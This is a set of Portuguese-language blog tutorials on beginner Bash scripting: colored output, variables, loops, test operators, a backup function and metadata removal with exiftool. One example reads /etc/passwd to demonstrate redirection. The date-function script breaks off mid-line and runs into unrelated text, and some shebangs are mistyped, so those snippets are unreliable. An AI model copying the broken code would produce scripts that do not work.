Dicas:

.

Não usar shell script como root.

.

O shell script Linux usando o interptetador de comandos Bash começa com o shebang:

#!/bin/bash

.

Um script pode ser executado de dois modos:

1

bash MeuScript.sh

2

Dar permissão e executar:

chmod +x MeuScript.sh

./MeuScript.sh

.

Linux shell script imprimir saída colorida

.

Um script pode usar sequências de escape para produzir textos coloridos no terminal. As cores são representadas por códigos, temos 9 códigos:

reset = 0
black = 30
red = 31
green = 32
yellow = 33
blue = 34
magenta = 35
cyan = 36
white = 37

.

PARA IMPRIMIR UM TEXTO COLORIDO USE ESTES EXEMPLOS ABAIXO:

.

echo -e "\e[1;34m Este é o texto em azul! \e[0m"

echo -e "\e[1;30m Este é o texto em preto! \e[0m"

echo -e "\e[1;32m Este é o texto em verde! \e[0m"

echo -e "\e[1;33m Este é o texto em amarelo! \e[0m"

echo -e "\e[1;35m Este é o texto em magenta! \e[0m"

echo -e "\e[1;36m Este é o texto em cyan! \e[0m"

echo -e "\e[1;37m Este é o texto em branco! \e[0m"

.

Podemos imprimir todos este textos ao mesmo tempo para testar. Copie o código que eu escrevi abaixo e cole no seu terminal:

.

echo -e "\e[1;34m Este é o texto em azul! \e[0m" ; sleep 3 ; echo -e "\e[1;30m Este é o texto em preto! \e[0m" ; sleep 3 ; echo -e "\e[1;32m Este é o texto em verde! \e[0m" ; sleep 3 ; echo -e "\e[1;33m Este é o texto em amarelo! \e[0m" ; sleep 3 ; echo -e "\e[1;35m Este é o texto em magenta! \e[0m" ; sleep 3 ; echo -e "\e[1;36m Este é o texto em cyan! \e[0m" ; sleep 3 ; echo -e "\e[1;37m Este é o texto em branco! \e[0m"

.

Podemos escrever um script colorido que cria pasta, arquivos, escreve algo neste arquivo, duplica o arquivo e move este arquivo para outro lugar. Chamarei este script de:

03script-teste-cores.sh

.

Veja só:

.

#!/bin/bash

clear

echo

echo -e "\e[1;34mVamos criar uma \e[1;31mpasta. \e[0m"

echo

sleep 4

mkdir pasta-teste

echo

echo -e "\e[1;30mVamos ver se a \e[1;31mpasta \e[1;30mfoi criada. \e[0m"

echo

sleep 4

ls -t

echo

sleep 3

echo -e "\e[1;32mVamos criar um \e[1;31marquivo de texto \e[1;32mvazio \e[0m"

echo

sleep 4

> texto-teste.txt ; echo ; ls -t ; echo ; sleep 5 ; echo

echo -e "\n\e[1;33mVamos \e[1;31mescrever \e[1;33me \e[1;35mmover \e[1;33mo \e[1;32mtexto-teste.txt \e[1;33mpara:\n \n\e[1;34mpasta-teste\n \e[0m"

echo

sleep 4

echo -e "Esta frase\nserá escrita\nem\ntexto-teste.txt" > texto-teste.txt ; sleep 3 ; mv texto-teste.txt pasta-teste

echo

echo -e "\n\e[1;35mEntrar em \e[1;32mpasta-teste \e[1;35me conferir o conteúdo dela \e[0m\n"

echo

cd pasta-teste/ ; echo ; ls -t ; sleep 4 ; echo ; pwd ; echo ; sleep 4

echo

echo -e "\e[1;36mCopiando \e[1;37mtexto-teste.txt \e[1;36mpara \e[1;34mtexto-teste2.txt \e[0m"

echo

sleep 4

cp texto-teste.txt texto-teste2.txt ; echo ; ls -t ; echo ; sleep 4 ; echo ; pwd ; echo ; sleep 4

echo -e "\e[1;37mFim do script. \e[1;31mPode apagar tudo \e[1;32musando o \e[1;37mmouse. \e[0m"

echo

sleep 4

echo -e "\e[1;37mOu pode executar o comando: \e[1;31mrm -rf pasta-teste\e[1;32m mas antes confere os arquivos de texto.\e[0m"

echo

sleep 4

exit

# Fim do script

.

Até Breve!

.

🙂

.

Sinta-se a vontade para usar todo o material deste blog para criar ebooks para seu uso e para quem quiser.

Comandos mais usados no ShellScript

.

Comandos mais usados em Shell Script no Linux

.

Qual é o seu usuário?

.

Se você não tem certeza qual é o seu usuário, use o comando "whoami" sem aspas, para saber.

.

Como o prompt de usuário normal pode ser diferente para cada um, podemos em algum momento usar "prompt$" para indicar o prompt da linha de comando.

.

ESCOLHER O DIRETÓRIO ONDE COLOCAR O SCRIPT

Para que o script possa ser executado de qualquer parte do sistema, mova-o para um diretório que esteja no seu PATH. Para ver quais são estes diretórios, abra agora o terminal pelo menu do sistema e digite o comando:

echo $PATH

.

Se não tiver permissão de mover para um diretório do PATH, deixe-o dentro de seu diretório pessoal ($HOME). Digite no terminal: $HOME

.

CRIAR O ARQUIVO E COLOCAR NELE OS COMANDOS

Abra pelo menu do sistema o editor de texto gedit, pluma, leafpad, mousepad ou outro editor de textos de sua preferência para colocar todos os comandos dentro do arquivo.

.

COLOQUE A CHAMADA DO SHELL NA PRIMEIRA LINHA

A primeira linha do script deve ser:

#!/bin/bash

Para que ao ser executado, o sistema saiba que é o bash quem irá interpretar estes comandos.

.

TORNE O SCRIPT UM ARQUIVO EXECUTÁVEL

Use o seguinte comando para que seu script seja reconhecido pelo sistema como um comando executável:

chmod +x nome-do-teu-shellscript.sh

.

Para permitir que todos os usuários possam executar o script:

chmod a+x nome-do-teu-shellscript.sh

.

EXECUTE O SCRIPT

./nome-do-teu-shellscript.sh (Aqui "./" representa o diretório atual)

/home/seu-usuário/bin/nome-do-teu-shellscript.sh (Aqui informa onde está o script para que o bash execute em outra pasta)

.

BASH EXECUTANDO COMANDOS

Shell script é uma linguagem de script usada em vários sistemas operacionais, com diferentes dialetos, dependendo do interpretador de comandos utilizado.

Um exemplo de interpretador de comandos é o bash, usado na grande maioria das distribuições GNU/Linux.

A maior parte dos usuários classificam shell script como uma linguagem de fácil aprendizagem. O primeiro passo é, saber o que se deseja fazer, então ver qual o código que executa este comando em shell e aí criar, basta escrever o código em algum editor de texto e salvar. Veja só por exemplo, que de tempos em tempos você quer saber informações do sistema, instalar programas, remover programas, converter/alterar arquivos, fazer backups, adicionar informações, remover informações, etc.

.

AGORA ABRE O TERMINAL E DIGITA COMANDOS, POR EXEMPLO, DIGITE ESTES COMANDOS ABAIXO UM DE CADA VEZ:

echo

ls

echo ''

echo ""

echo "Olá!"

printf 'Bem vindo ao bash!' (Aperte a tecla enter e digite: ls)

echo '#!/bin/bash'

echo "#!/bin/bash"

echo ; echo "Olá!" ; echo

echo -e 'Bom\nDia\nMundo!'

echo "Hello world!"

echo "Hello "world"!"

echo "Hello \"world\"!"

printf "Hello world" (Aperte a tecla enter e digite: cd ~)

pwd

ls -t

sleep 7

echo ; echo 'Olá!' ; sleep 3 ; ls -t

free -h -t

free -th

sleep 4

date

cal

du -h

uptime

df -h

clear

free -tmlh

df -a -h

df -k -l

df -T -m

echo ; whoami ; echo

ls ; echo ; pwd ; echo

echo ; ls -at ; echo

du *

ls -lah

du -hcs

du -ach

du -Sh

du -Sk

clear

echo ; echo 'df: Relata o espaço de disco usado pelo sistema (Usado e Livre)' ; echo

ls -hat

echo ; echo "du: Relata o espaço utilizado no disco de tal arquivo ou diretório" ; echo

whereis bash

VALOR="Linux"

echo $VALOR

echo $VALOR $VALOR

VALOR='ls -t'

$VALOR

echo $VALOR

VALOR='free -h -t'

$VALOR

echo $VALOR

echo VALOR

read VALOR (aperte a tecla enter, digite: "ls" sem aspas e aperte enter.)

$VALOR

read VALOR (aperte a tecla enter, digite: "uptime" sem aspas e aperte enter.)

$VALOR

echo ; $VALOR ; echo ; $VALOR ; echo

echo ; $VALOR ; sleep 4 ; echo ; $VALOR ; echo

unset VALOR

echo ; $VALOR

$VALOR

clear

echo -e '\nOlá!\nVamos\nSaber\nOs\nComandos\ndo\nShellscript Linux!'

clear ; echo -e '\n \nOlá!\n \nVamos\n \nSaber\n \nOs\n \nComandos\n \ndo\n \nShellscript Linux!\n'

HOJE=$(lsblk)

echo "Informação sobre dispositivos de bloco: $HOJE"

unset HOJE

echo $HOJE

echo $((2*3))

echo $((2*4-2/2+3))

VALOR=44

echo $((VALOR*1))

echo $((VALOR*2))

echo $((VALOR*3))

VALOR=$((VALOR+1))

echo $VALOR

VALOR=$((VALOR+11))

echo $VALOR

VALOR=$((VALOR+1))

echo $VALOR

VALOR=$((VALOR+11))

echo $VALOR

unset VALOR

echo $VALOR

VALOR=$(uname -a)

echo $VALOR

HOJE=$(arch)

echo $HOJE

echo "Informação sobre o kernel: $VALOR" ; echo ; echo "Informação sobre a arquitetura do sistema: $HOJE"

echo 'Informação sobre o kernel: $VALOR' ; echo ; echo 'Informação sobre a arquitetura do sistema: $HOJE'

unset VALOR

unset HOJE

echo "Informação sobre o kernel: $VALOR" ; echo ; echo "Informação sobre a arquitetura do sistema: $HOJE"

echo 'Informação sobre o kernel: $VALOR' ; echo ; echo 'Informação sobre a arquitetura do sistema: $HOJE'

printf "%-5s %-10s %-4s\n" No Nome Pontos

printf "%-5s %-10s %-4.2f\n" 1 Marta 8

printf "%-5s %-10s %-4.2f\n" 2 Joel 9

printf "%-5s %-10s %-4.2f\n" 3 Carlos 7

clear

exit

.

Muito bom que você digitou um comando de cada vez!!!

O comandos mais longos pode copiar e colar no terminal se quiser, mas no início seria melhor digitar...

Saiba que a partir deste momento você já está entendendo coisas extremamente úteis para escrever shellscript usando o Bash!

Uma coisa interessante sobre os comandos acima, é que para estudar eles, você não precisa estar conectado a internet.

Os comandos acima oferecem informações interessantes e úteis. Podemos colocar todos eles em um só script e executar. Dependendo do caso, é mais fácil que digitar um a um de cada vez toda vez que precisar.

.

SE PUDER, ANTES DE CONTINUAR EXECUTE OS COMANDOS ACIMA QUE TE CHAMARAM MAIS A ATENÇÃO DE NOVO POIS, EXECUTAR ELES É MUITO DIDÁTICO. NADA MELHOR QUE APRENDER PRATICANDO.

.

ASPAS SIMPLES ' E ASPAS DUPLAS ":

Aspas duplas permitem interpretar caracteres especiais.

Aspas simples desabilitam esta interpretação.

.

CARACTERES DE ESCAPE:

echo "Hello \"world\"!"

.

TODO SCRIPT ESCRITO PARA RODAR NO BASH COMEÇA COM:

#!/bin/bash

Após "#!/bin/bash" de um espaço entre linhas e então pode começar a digitar comandos.

.

Exemplo:

#!/bin/bash

clear

echo ; date ; echo ; sleep 4

echo ; cal ; echo ; sleep 4

echo ; uptime ; echo ; sleep 4

echo ; df -h ; echo ; sleep 4

echo ; free -html ; echo ; sleep 4

echo ; whoami ; echo ; sleep 4

echo ; pwd ; echo ; sleep 4

echo ; ls -at ; echo ; sleep 4

echo ; whereis bash ; echo ; sleep 4

echo ; echo 'Este é o fim do script 01-script.sh' ; echo ; sleep 4

exit

# Fim do script

.

ESTE SCRIPT ÚTIL E INOFENSIVO ACIMA SERÁ SALVO NA PASTA HOME, A PASTA DA CASINHA, USANDO UM EDITOR DE TEXTO COM O NOME DE:

01-script.sh

.

Posso melhorar/tornar mais amigável este script acima explicando sobre cada comando:

#!/bin/bash

clear

echo ; echo 'Hoje é data:' ; echo ; sleep 2

echo ; date ; echo ; sleep 4

echo ; echo 'Hoje pelo calendário é:' ; echo ; sleep 2

echo ; cal ; echo ; sleep 4

echo ; echo 'Esta máquina está funcionando a:' ; echo ; sleep 2

echo ; uptime ; echo ; sleep 4

echo ; echo 'Sobre o tamanho desta pasta:' ; echo ; sleep 2

echo ; df -h ; echo ; sleep 6

echo ; echo 'Sobre a memória RAM:' ; echo ; sleep 2

echo ; free -html ; echo ; sleep 6

echo ; echo 'Você está logado como:' ; echo ; sleep 2

echo ; whoami ; echo ; sleep 4

echo ; echo 'Você está em:' ; echo ; sleep 2

echo ; pwd ; echo ; sleep 4

echo ; echo 'Neste diretório/pasta tem:' ; echo ; sleep 2

echo ; ls -at ; echo ; sleep 6

echo ; echo 'O Bash está em:' ; echo ; sleep 2

echo ; whereis bash ; echo ; sleep 4

echo ; echo 'Este é o fim do script 01-script.sh' ; echo ; sleep 4

exit

# Fim do script

.

No Linux o script deve ter permissão de execução, isto pode ser feito abrindo o terminal pelo menu do sistema e executando o comando:

chmod +x 01-script.sh

.

Depois de salvo você tem que executar o arquivo, dessa forma:

./01-script.sh

.

Viu alguma utilidade neste pequeno script?

Então siga adiante.

.

IMPORTANTE:

Para estudar shell script tem que ser como usuário normal. Se você está acessando o sistema como usuário administrador (root), saia e entre como um usuário normal. É muito perigoso estudar shell usando o superusuário, você pode danificar o sistema com um comando errado.

Ok, continuemos.

.

Para exibir um manual do bash ou mesmo do comando 'chmod', digite na linha de comando:

man bash

man chmod

.

É possível executar o arquivo mesmo sem modificar a permissão de execução, por exemplo, se for um arquivo escrito para ser executado pelo bash, usar:

sh ./"Nome do arquivo, sem aspas"

.

SHELL

É importante saber o que é um Shell.

Na linha de comandos de um shell, podemos utilizar diversos comandos um após o outro, ou mesmo combiná-los numa mesma linha.

Se colocarmos diversas linhas de comandos em um arquivo texto simples, teremos em mãos um Shell Script, ou um script em shell, já que Script é uma descrição geral de qualquer programa escrito em linguagem interpretada, ou seja, não compilada.

Outros exemplos de linguagens para scripts são o PHP, Perl, Python, JavaScript e muitos outros. Podemos então ter um script em php, um script perl e assim em diante.

Uma vez criado, um ShellScript pode ser reutilizado quantas vezes for necessário.

Seu uso, portanto, é indicado na automação de tarefas que serão realizadas mais de uma vez.

Todo sistema Unix e similares são repletos de scripts em shell para a realização das mais diversas atividades administrativas e de manutenção do sistema.

Os arquivos de lote (batch - arquivos *.bat) do Windows são também exemplos de ShellScripts, já que são escritos em linguagem interpretada e executados por um Shell do Windows, em geral o command.com ou hoje em dia o cmd.exe.

Os Shells do Unix, porém, são inumeras vezes mais poderosos que o interpretador de comandos do Windows, podendo executar tarefas muito mais complexas e elaboradas.

OS SCRIPTS SHELL PODEM SER AGENDADOS PARA EXECUÇÃO ATRAVÉS DA TABELA CRONTAB, ENTRE OUTRAS COISAS.

É uma ferramenta indispensável aos administradores de sistemas Unix.

O Shell mais comum e provavelmente o que possui mais scripts escritos para ele é também um dos mais antigos e simples, o sh.

Este shell está presente em todo o sistema tipo Unix, incluído o Linux, FreeBSD, AIX, HP-UX, OpenBSD, Solaris, NetBSD, Irix, etc. Por ser o shell nativo mais comum é natural que se prefira escrever scripts para ele, tornando o script mais facilmente portável para outro sistema.

Os Shells não estão diretamente associados a um ou outro tipo de Unix, embora várias empresas comerciais tenham suas próprias versões de Shell. No software livre o Shell utilizado em um sistema em geral é exatamente o mesmo utilizado em outro. Por exemplo, o bash encontrado no Linux é o mesmo shell bash encontrado no FreeBSD e pode também facilmente ser instalado no Solaris, Windows através do Cygwin [1] ou outros sistemas Unix comerciais para passar a ser utilizado como interface direta de comandos ou como interpretador de scripts. O mesmo acontece com o tcsh e vários outros shells desenvolvidos no modelo de software livre.

.

INTERAGIR COM O USUÁRIO

.

Para o script ficar mais completo, vamos colocar uma interação mínima com o usuário, pedindo uma confirmação antes de executar os comandos.

.

#!/bin/bash

clear

echo "Vou buscar os dados do sistema. Posso continuar? [S/n] "

read RESPOSTA

test "$RESPOSTA" = "n" && exit

echo ; echo "Data e Horário:" ; echo

date

echo

echo "Uso do disco:" ; echo

df -ht

echo

echo "Usuários conectados:" ; echo

w

echo ; echo "Seu nome de login é:"

whoami

echo

exit

# Fim do script

.

O comando "read" leu o que o usuário digitou e guardou na variável RESPOSTA. Logo em seguida, o comando "test" verificou se o conteúdo dessa variável era "n". Se afirmativo, o comando "exit" foi chamado e o script foi finalizado. Nessa linha há vários detalhes importantes:

O conteúdo da variável é acessado colocando-se um cifrão "$" na frente

O comando test é útil para fazer vários tipos de verificações em textos e arquivos

O operador lógico "&&", só executa o segundo comando caso o primeiro tenha sido OK. O operador inverso é o "||"

.

MELHORAR O CÓDIGO DO SCRIPT

Com o tempo, o script vai crescer, mais comandos vão ser adicionados e quanto maior, mais difícil encontrar o ponto certo onde fazer a alteração ou corrigir algum erro. Para poupar horas de estresse, e facilitar as manutenções futuras, é preciso deixar o código visualmente mais agradável e espaçado, e colocar comentários esclarecedores.

.

#!/bin/bash

# nome-do-script - script que mostra informações sobre o sistema

# Autor: Fulano da Silva

# Pede uma confirmação do usuário antes de executar

clear

echo "Vou buscar os dados do sistema. Posso continuar? [S/n]"

read RESPOSTA

# Se ele digitou 'n', vamos interromper o script

test "$RESPOSTA" = "n" && exit

# O date mostra a data e a hora correntes

sleep 3 ; echo "Data e Horário:" ; echo

date

sleep 3

echo

# O df mostra as partições e quanto cada uma ocupa no disco
echo "Uso do disco:"

sleep 3

echo

df

echo

sleep 6

# O w mostra os usuários que estão conectados nesta máquina

echo "Usuários conectados:"

sleep 3

echo

w

sleep 3

echo

# Fim do script

.

Basta iniciar a linha com um "#" e escrever o texto do comentário em seguida. Estas linhas são ignoradas pelo shell durante a execução. O cabeçalho com informações sobre o script e seu autor também é importante para ter-se uma visão geral do que o script faz, sem precisar decifrar seu código. Também é possível colocar comentários no meio da linha # como este

.

CARACTERÍSTICAS

.

OS SCRIPTS SHELL PODEM CONTER ESTRUTURAS DE PROGRAMAÇÃO TAIS COMO:

.

ESTRUTURAS DE DECISÃO (if)

Recurso utilizado para dar sequencia em fluxos de execução baseado decisões. Cuja sintaxe é:

- Condição Verificada é o teste que definirá se controle deve ser passado para dentro do bloco then, observe que esse teste é feito sobre a saída de um comando.
- Ação são comandos a serem executados em caso verdadeiro da condição verificada.

.

OPERADORES PARA NÚMEROS

-eq Verifica se é igual,
-ne Verifica se é diferente,
-lt Verifica se é menor,
-gt Verifica se é maior,
-le Verifica se é menor ou igual,
-ge Verifica se é maior ou igual.

.

OPERADORES PARA TEXTO

!= Verifica se é diferente,
= Verifica se é igual.

.

OPERADORES LÓGICOS

! Lógica NOT,
-o Lógica OU, (OR) ou ||,
-a Lógica E, (AND) ou &&.

.

OPERADOR PARA arquivos/

-d Verifica se é diretório,
-f Verifica se é arquivo,
-e Verifica se existe.

.

Ex:

# !/bin/baxh
# Uso de Estrutura de Decisão
clear

echo 'opções'
echo '======'
echo ' -> Data do Sistema'
echo ' -> Uso do Sistema'

read opcao

if [ "$opcao" -eq 1 ]
then
echo 'Data do sistema: ' && date

elif [ "$opcao" -eq 2 ]
then

echo 'Uso do disco: ' && df -Th
fi

# Fim do script

.

ESTRUTURAS DE REPETIÇÃO (FOR)(WHILE)

.

ESTRUTURA DE REPETIÇÃO FOR

Permite que ações de iteração sejam executadas sobre determinados comandos ou variáveis até que a condição seja satisfeita.

# !/bin/bash

clear

echo "DIAS DA SEMANA"
for dia in seg ter qua qui sex sab dom
do
echo "$dia"
done

# Fim do script

.

ESTRUTURA DE REPETIÇÃO WHILE

Em situações onde sabemos até onde o loop irá realizar uma contagem o ideal é usar o for entretanto em cenarios onde a iteração deve cessar somente após se satisfazer uma condição o uso do laço while é mais indicado. Ex:

# /bin/bash

clear
var=1
while [ $var -le 7 ]
do
echo "Valor de var: $var"
var=$((var+1))
done

# Fim do script

.

FUNÇÕES E ARGUMENTOS

Ex:

# !/bin/bash
# REALIZAR BACKUP DO DIR

echo -e " \033[1;33m Digite o caminho de origem.: \033[0m "
read DIR_ORIGEM

clear

echo -e " \033[1;34m Digite o caminho de destino.: \033[0m "
read DIR_DESTINO

clear

verifica_argumentos(){

if [ $# -lt 1 ];
then
echo "Faltou informar um dos argumentos (parametros) necessarios!"
exit 1
fi
}

copia_arquivos(){

verifica_argumentos

clear

echo "Realizando backup..."

#Verificando se o dir de destino existe

if ! [ -d $DIR_DESTINO ]
then
mkdir $DIR_DESTINO
echo "Diretorio de Destino Criado"
fi

#COPIANDO ARQUIVOS

for arq in `ls $DIR_ORIGEM`
do
cp /$DIR_ORIGEM/$arq $DIR_DESTINO/$arq.bak
done

}

copia_arquivos

# Fim do script

DEFINIÇÕES DE VARIÁVEIS E ESCOPO DESTAS

Variáveis são definidas pela nomenclatura NOME_VARIAVEL="Valor da Variável". O valor pode ser tanto numérico quanto texto.

Nome="Joel"

Se quisermos acessá-la, basta fazer referência a ela com o caractere $ (cifrão) antes do nome: o comando echo $Nome, por exemplo, retornará a palavra "Joel".

Se quiser sabe informações sobre os sistemas de arquivo nos quais cada ARQUIVO reside ou, por padrão, sobre todos os sistemas de arquivos posso abrir um terminal e digitar:

VarInfo="df -h"

Depois digito no terminal "$VarInfo" sem aspas.

.

VARIÁVEIS DE AMBIENTE

As variáveis de ambiente independem da definição do usuario. Elas são criadas automaticamente, no momento em que se faz o login no sistema.

Ex:

PATH: define diretórios de procura por programas executados no shell;
USER: informa o nome do usuário do shell;
HOME: informa o caminho do diretório home do usuário;
PWD: diretório atual;

.

As variáveis são a base de qualquer script. É dentro delas que os dados obtidos durante a execução do script serão armazenados. Para definir uma variável, basta usar o sinal de igual "=" e para ver seu valor, usa-se o "echo":

.

Execute estes comandos abaixo no terminal:

.

VARIAVEL="um dois tres"

echo $VARIAVEL

echo $VARIAVEL $VARIAVEL

.

Para remover a variável acima:

unset VARIAVEL

.

Teste:

echo $VARIAVEL

.

É possível armazenar a saída de um comando dentro de uma variável. Ao invés de aspas, o comando deve ser colocado entre "$(...)", execute no terminal os comandos abaixo:

HOJE=$(date)

echo "Hoje é: $HOJE"

unset HOJE

echo $HOJE

HOJE=$(ls)

echo "O conteúdo desta pasta tem: $HOJE"

unset HOJE

echo $HOJE

HOJE=$(free -hmt)

echo "Informando sobre a memória desta máquina: $HOJE"

unset HOJE

echo $HOJE

.

Exemplos de uso do shell script:

Apagar arquivos velhos - Apagar periodicamente arquivos mais velhos que 30 dias do diretório /tmp:

#!/bin/bash

cd /tmp
find . -type f -mtime +30 -delete

# Fim do script

Este seria o conteúdo de um shell script que sempre que fosse executado apagaria arquivos com data de modificação maior que 30 dias a partir do diretório /tmp do sistema de arquivos.

Notem que ele é nada mais do que uma associação de 2 comandos (cd e find) em um arquivo para facilitar a repetição da tarefa. Este poderia ser, por exemplo, o conteúdo do arquivo /bin/limpatmp.sh e poderíamos chamar este script pela linha de comandos sempre que desejássemos repetir esta ação:

$ limpatmp.sh

Onde o símbolo "$" representa o prompt de comandos. Do ponto de vista do usuário este seria mais um comando disponível para uso.

Os scripts em shell são também muito empregados junto à inicialização do sistema (para auto-iniciar tarefas) ou como mini-aplicativos, que facilitam tarefas dos usuários, tais como montagem de dispositivos, menus de ajuda, etc.

Sua primeira linha obrigatoriamente começa com um "#!" (que não se deve confundir com um comentário qualquer, pois realmente é uma exceção; este par se chama, em inglês, de shebang), informando diretamente ao núcleo (kernel) qual interpretador ele deverá usar, juntamente com seu caminho, de acordo com a necessidade de cada caso. Exemplo:

#!/bin/bash

Em seguida, são adicionados os comandos desejados, um por linha, ou separados por ponto e vírgula. Exemplo:

mount -t reiserfs /dev/hda1 /mnt/hda1

ls /mnt/hda1

cp -r /mnt/hda1/* /home/user/backup
umount /dev/hda1

Por fim, dá-se a permissão de execução a este arquivo de texto simples ("chmod +x arquivo").

.

DATA ANTERIOR

.

#!/bin/bash

# Função em Bash para retornar a data anterior, levando em conta o mês e ano.

fn_data_anterior()
{
DIA=$D
MES=$M
ANO=$A

# Dado DIA, MES e ANO numéricos, obtém a data do dia anterior

DIA=`expr $DIA - 1`
if [ $DIA -eq 0 ]; then
MES=`expr $MES - 1`
if [ $MES -eq 0 ]; then
MES=12
ANO=`expr $ANO - 1`
fi
DIA=`cal $MES $ANO`
DIA=`echo $DIA | awk '{ print $NF }'`
fi
}

ano=`date +%Y`;
mes=`date +%m`;
let dia=10\#`date +%d`;

if (( $dia". Para guardar a saída do comando anterior no arquivo "saida", basta fazer:

cat /etc/passwd | grep root | cut -c1-10 > saida

cat saida

.

O COMANDO TEST

O canivete suíço dos comandos do shell é o "test", que consegue fazer vários tipos de testes em números, textos e arquivos. Ele possui várias opções para indicar que tipo de teste será feito, algumas delas:

-lt Núm. é menor que (LessThan)

-d É um diretório

-gt Núm. é maior que (GreaterThan)

-f É um arquivo normal

-le Núm. é menor igual (LessEqual)

-r O arquivo tem permissão de leitura

-ge Núm. é maior igual (GreaterEqual)

-s O tamanho do arquivo é maior que zero

-eq Núm. é igual (EQual)

-w O arquivo tem permissão de escrita

-ne Núm. é diferente (NotEqual)

-nt O arquivo é mais recente (NewerThan)

= String é igual

-ot O arquivo é mais antigo (OlderThan)

!= String é diferente

-ef O arquivo é o mesmo (EqualFile)

-n String é não nula

-a E lógico (AND)

-z String é nula

-o OU lógico (OR)

.

SCRIPT QUE TESTA ARQUIVOS

Tente fazer um script "testa-arquivos", que pede ao usuário para digitar um arquivo e testa se este arquivo existe. Se sim, diz se é um arquivo ou um diretório.

.

CONCEITOS MAIS AVANÇADOS

.

If, for e while

.

Assim como qualquer outra linguagem de programação, o shell também tem estruturas para se fazer condicionais e loop. As mais usadas são if, for e while.

.

Então daqui por diante, sabemos o básico, o necessário para se fazer um script de funcionalidade mínima. E este mínimo pode fazer coisas incríveis.

.

Ex:

if COMANDO
then
comandos
else
comandos
fi

# Fim do script

Ex:

for VAR in LISTA
do
comandos
done

# Fim do script

Ex:

while COMANDO
do
comandos
done

# Fim do script

.

Diferente de outras linguagens, o if testa um comando e não uma condição. Porém como já conhecemos qual o comando do shell que testa condições, é só usá-lo em conjunto com o if. Por exemplo, para saber se uma variável é maior ou menor do que 10 e mostrar uma mensagem na tela informando:

.

Ex:

if test "$VARIAVEL" -gt 10
then
echo "é maior que 10"
else
echo "é menor que 10"
fi

# Fim do script

.

Há um atalho para o test , que é o comando [. Ambos são exatamente o mesmo comando, porém usar o [ deixa o if mais parecido com o formato tradicional de outras linguagens:

.

Ex:

if [ "$VARIAVEL" -gt 10 ]
then
echo "é maior que 10"
else
echo "é menor que 10"
fi

# Fim do script

.

Se usar o [, também é preciso fechá-lo com o ], e sempre devem ter espaços ao redor. É recomendado evitar esta sintaxe para diminuir suas chances de erro.

.

Já o while é um laço que é executado enquanto um comando retorna OK. Novamente o test é bom de ser usado. Por exemplo, para segurar o processamento do script enquanto um arquivo de lock não é removido:

.

Ex:

while test -f /tmp/lock
do
echo "Script travado..."
sleep 1
done

# Fim do script

.

Ex:

E por fim, o for percorre uma lista de palavras, pegando uma por vez:

for numero in um dois três quatro cinco
do
echo "Contando: $numero"
done

# Fim do script

.

Uma ferramenta muito útil para usar com o for é o seq, que gera uma seqüência numérica.

.

Para fazer o loop andar 10 passos, pode-se fazer:

for passo in $(seq 10)

.

O mesmo pode ser feito com o while, usando um contador:

i=0
while test $i -le 10
do
i=$((i+1))
echo "Contando: $i"
done

# Fim do script

.

Até Breve

.

.

🙂

.

Linux, remover metadata pela linha de comando

Testando alguns comandos para remover metadata...

.

1
Para saber o que extá escrito na metadata instalo exif2, perl-image-exiftool, exiftool

.

Uso o comando:

.

exiftool nome_do_arquivo.jpg

.

Em vez de .jpg poderia ser mkv, mp4, mp3, epub, pdf, png

.

2
Instalo:

.

ffmpeg, avconv, winff, makemkv, mkvtoolnix, mkvinfo, winff, handbrake, vlc, mpv, libav-tools, sound converter, calibre, sigil, gnome-mpv, fbreader, gimp, pinta, inkscape

.

Para remover títulos de metadata que contém propaganda em arquivos mkv

.

Uso o comando:

.

mkvpropedit "nome_arquivo_entre_aspas.mkv" -e info -s title="nome_do_arquivo_entre_aspas"

.

Pode colocar vários arquivos mkv em uma pasta e executar o script:

.

!#/bin/bash

# Para remover mkv titulo

for mkvfile in *.mkv; do
mkvpropedit "$mkvfile" -e info -s title="${mkvfile::-4}"
done

sleep 3

echo

.

Para remover metadata de mp3, mp4, jpg, png, epub, pdf etc...

.

exiftool -all= -overwrite_original -ext mp3 .

exiftool -all= -overwrite_original -ext mp4 .

exiftool -all= -overwrite_original -ext jpg .

exiftool -all= -overwrite_original -ext JPEG .

exiftool -all= -overwrite_original -ext png .

exiftool -all= -overwrite_original -ext epub .

exiftool -all= -overwrite_original -ext pdf .

.

Para remover Geotag de imagens:

.

#!/bin/bash

for i in *.jpg; do echo "Processing $i"; exiftool -geotag= "$i"; done!

echo

sleep 4

.

Até Breve

.

:)

.

Linux: Escrevendo shell script com o comando echo

 

 Escrevendo shell script com o comando echo.

.

O modo mais simples de usar o comando echo que eu sei:

.

echo "Oi Mundo"

.

Exemplo:

~ $echo "Oi Mundo"
Oi Mundo

.

Uma linha abaixo da outra automaticamente:

.

echo "Oi Mundo" && echo "Adeus Mundo"

.

Exemplo:

~ $echo "Oi Mundo" && echo "Adeus Mundo"
Oi Mundo
Adeus Mundo

.

Pode omitir a nova linha adicionando menos n (-n):

.

echo -n "Oi Mundo" && echo -n "Adeus Mundo"

.

Exemplo:

~ $echo -n "Oi Mundo" && echo -n "Adeus Mundo"
Oi MundoAdeus Mundo~ $

.

Uma coisa para pensar a respeito quando uso o comando echo é como lidar com caracteres especiais. Vou testar:

.

echo "Oi Mundo\r\nAdeus Mundo"

.

Exemplo:

~ $echo "Oi Mundo\r\nAdeus Mundo"
Oi Mundo\r\nAdeus Mundo

.

O comando acima não adiciona nova linha. Tem que usar a opção -e, o pessoal usa também \r e \n.

.

echo -e "Oi Mundo\r\nAdeus Mundo"

.

Exemplo:

~ $echo -e "Oi Mundo\r\nAdeus Mundo"
Oi Mundo
Adeus Mundo

.

Em uma situação que se quer que a saída do comando echo tenha um caractere especial que desejo que seja tratado como caractere normal posso tentar usar -E.

.

echo -E "Oi Mundo\r\nAdeus Mundo"

.

Exemplo:

~ $echo -E "Oi Mundo\r\nAdeus Mundo"
Oi Mundo\r\nAdeus Mundo

.

Não funcionou como eu queria.

.

Que caracteres são usados junto com -e?

.

\\ backslash

\a alert

\b backspace

\c produce no further output

\e escape

\f form feed

\n new line

\r carriage return

\t horizontal tab

\v vertical tab

\ 0NNN octal value with 1 to 3 digits

\xHH byte with hexadecimal value

.

Vou testar:

.

comando: echo -e "hel\blo world"

.

resposta: helo world

.

Acima a barra invertida com b "\b" removeu a letra anterior.

.

Vou tentar outra:

.

echo -e "hello\c world"

.

Vou tentar estes agora:

.

echo -e "hello\nworld"

.

echo -e "hello\rhi"

.

Agora é tentar escrever um texto com algumas linhas usando o comando echo:

.

echo -e '#!/bin/bash\necho\necho "Hello World"\necho\nsleep 3'

.

Vamos ver a saída deste comando:

.

~ $echo -e '#!/bin/bash\necho\necho "Hello World"\necho\nsleep 3'
#!/bin/bash
